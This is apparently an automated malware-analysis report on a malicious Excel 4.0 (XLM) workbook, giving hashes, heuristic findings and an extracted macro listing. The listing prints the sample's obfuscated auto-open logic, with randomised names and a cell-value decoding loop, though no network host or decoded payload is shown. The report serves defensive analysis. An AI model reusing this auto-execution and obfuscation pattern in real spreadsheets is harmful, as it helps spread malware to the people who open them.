Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 747d5a345bf6b1a5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:48 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: d9641432bcb78388db0f51e736f57012 SHA-1: eaec49e680bf52d23f0c05d0581335b363a3ad73 SHA-256: 747d5a345bf6b1a5ee2020ea668ed4414af4dacce7e320b47fd23bd4be6a676c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6563 bytes
SHA-256: 00481a78cd01cd9c37c23d41cdf52b2d0e0e1b4f09d184d4c936d0a448a48104
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ALMW
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G136 
' 0018     20 LABEL : Cell Value, String Constant - DkEtb len=0 
' 0018     22 LABEL : Cell Value, String Constant - dsOUJFM len=0 
' 0018     26 LABEL : Cell Value, String Constant - EAnRLdSgqHo len=0 
' 0018     21 LABEL : Cell Value, String Constant - ENbGuy len=0 
' 0018     21 LABEL : Cell Value, String Constant - fsQpKi len=0 
' 0018     26 LABEL : Cell Value, String Constant - HBuWlmmwCBy len=0 
' 0018     22 LABEL : Cell Value, String Constant - JZDoxgj len=0 
' 0018     25 LABEL : Cell Value, String Constant - MjrREnfpwV len=0 
' 0018     20 LABEL : Cell Value, String Constant - nqGAP len=0 
' 0018     20 LABEL : Cell Value, String Constant - oqdOP len=0 
' 0018     27 LABEL : Cell Value, String Constant - OQNoirYrnWKE len=0 
' 0018     24 LABEL : Cell Value, String Constant - PRGhtDKmD len=0 
' 0018     27 LABEL : Cell Value, String Constant - tqQfbuwYFbyJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - tZdiPHqzduJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - UKMshPZz len=0 
' 0018     26 LABEL : Cell Value, String Constant - UNvcZzgPjSq len=0 
' 0018     21 LABEL : Cell Value, String Constant - UtrGbX len=0 
' 0018     20 LABEL : Cell Value, String Constant - yUQFH len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZhPGxsHSm len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZjWUnV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ALMW,G51,"SET.NAME("ENbGuy",0+VALUE("0"))",""
'  ALMW,G53,"SET.NAME("ZjWUnV",ENbGuy)",""
'  ALMW,G58,"SET.NAME("nqGAP",ENbGuy)",""
'  ALMW,R59,"",-908.00000000000000000000
'  ALMW,R60,"",355.00000000000000000000
'  ALMW,R61,"",277.00000000000000000000
'  ALMW,G62,"SET.NAME("PRGhtDKmD",COUNTA(UNvcZzgPjSq))",""
'  ALMW,R62,"",-404.00000000000000000000
'  ALMW,R63,"",-449.00000000000000000000
'  ALMW,R64,"",-998.00000000000000000000
'  ALMW,G65,"SET.NAME("oqdOP",COUNTA(JZDoxgj))",""
'  ALMW,G67,[],""
'  ALMW,G72,"SET.NAME("tZdiPHqzduJ","")",""
'  ALMW,G75,"ZjWUnV",""
'  ALMW,G79,"SET.NAME("ZhPGxsHSm",HLOOKUP("*",UNvcZzgPjSq,ZjWUnV,FALSE))",""
'  ALMW,G82,"fsQpKi",""
'  ALMW,G85,"SET.NAME("tqQfbuwYFbyJ",ENbGuy)",""
'  ALMW,G87,[],""
'  ALMW,G90,"tqQfbuwYFbyJ",""
'  ALMW,G93,"dsOUJFM",""
'  ALMW,G96,"UKMshPZz",""
'  ALMW,G101,"HBuWlmmwCBy",""
'  ALMW,G103,"SET.NAME("OQNoirYrnWKE",VALUE(HLOOKUP("*",JZDoxgj,HBuWlmmwCBy,FALSE)))",""
'  ALMW,G105,"MjrREnfpwV",""
'  ALMW,G108,"tZdiPHqzduJ",""
'  ALMW,G110,"nqGAP",""
'  ALMW,G115,NEXT(),""
'  ALMW,G120,"UtrGbX",""
'  ALMW,G124,[],""
'  ALMW,G127,"DkEtb",""
'  ALMW,G129,NEXT(),""
'  ALMW,G134,RETURN(),""
'  ALMW,G164,"SET.NAME("EAnRLdSgqHo",G51)",""
'  ALMW,G166,"UNvcZzgPjSq",""
'  ALMW,G168,"SET.NAME("JZDoxgj",R80C15)",""
'  ALMW,G173,"SET.NAME("DkEtb",181)",""
'  ALMW,G176,"SET.NAME("yUQFH",7)",""
'  ALMW,G180,EAnRLdSgqHo(),""
'  ALMW,G181,HALT(),""